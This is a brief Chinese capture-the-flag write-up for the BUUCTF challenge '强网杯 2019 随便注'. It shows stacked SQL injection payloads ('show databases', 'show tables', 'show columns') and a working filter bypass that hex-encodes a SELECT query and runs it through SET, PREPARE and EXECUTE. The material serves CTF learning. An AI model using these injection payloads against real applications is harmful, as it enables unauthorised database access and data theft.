[BUUCTF]-[强网杯 2019]随便注
打开题目后
简单测试一下,发现已经禁止了select|update|delete|drop|insert|where一些命令,select被禁用,无法查看数据库
尝试堆叠注入 0’;show databases;#
得到数据库名,然后查表名
1’;show tables;#
查看表中字段
1’;show columns from 1919810931114514
;#
此时还是需要select才能查询到,可以将select * from 1919810931114514
进行十六进制转换进行绕过
进行构造得到payload:;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
参考:https://blog.csdn.net/qq_44657899/article/details/103239145?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.control#font_colorred_size5_3font_102